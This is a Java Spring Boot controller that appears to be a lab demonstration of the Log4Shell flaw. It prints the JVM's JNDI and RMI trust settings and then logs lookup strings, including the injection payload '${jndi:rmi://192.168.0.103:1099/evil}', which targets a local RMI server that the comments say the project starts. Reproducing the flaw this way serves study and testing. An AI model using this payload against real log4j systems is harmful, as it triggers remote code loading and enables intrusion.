package com.javasea.log4j.controller;

import lombok.extern.slf4j.Slf4j;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RestController;

/**
 *@ClassName RmiDemo
 *@Description TODO
 *@Author longxiaonan@163.com
 *@Date 2021/12/11 0011 23:23
 */
//@Slf4j
@RestController
public class RmiDemoController {

    private static Logger log = LogManager.getLogger(RmiDemoController.class);

    /**
     * 发现使用chrome浏览器发送多个请求到springboot服务的时候，springboot服务器挨个处理请求。
     * 因为chrome浏览器对相同请求做了排队处理。而不是springboot对消息处理进行了同步
     */
    @GetMapping("/rimTest")
    public void test(){

        System.out.println(System.getProperty("java.rmi.server.useCodebaseOnly"));
        System.out.println(System.getProperty("java.rmi.server.hostname"));
        System.out.println(System.getProperty("com.sun.jndi.rmi.object.trustURLCodebase"));
        System.out.println(System.getProperty("com.sun.jndi.ldap.object.trustURLCodebase"));

//        String name = "123";
        String name1 = "${java:os}";
        String name2 = "${java:vm}";
        // 先需要启动本项目的 RMIServer，用来代理jndi，ip地址改成本机的ip
        String name3 = "${jndi:rmi://192.168.0.103:1099/evil}";

        log.info("hello, {}", name1);
        log.info("hello, {}", name2);
        log.info("hello, {}", name3); // hello, ${java:os}
    }

}
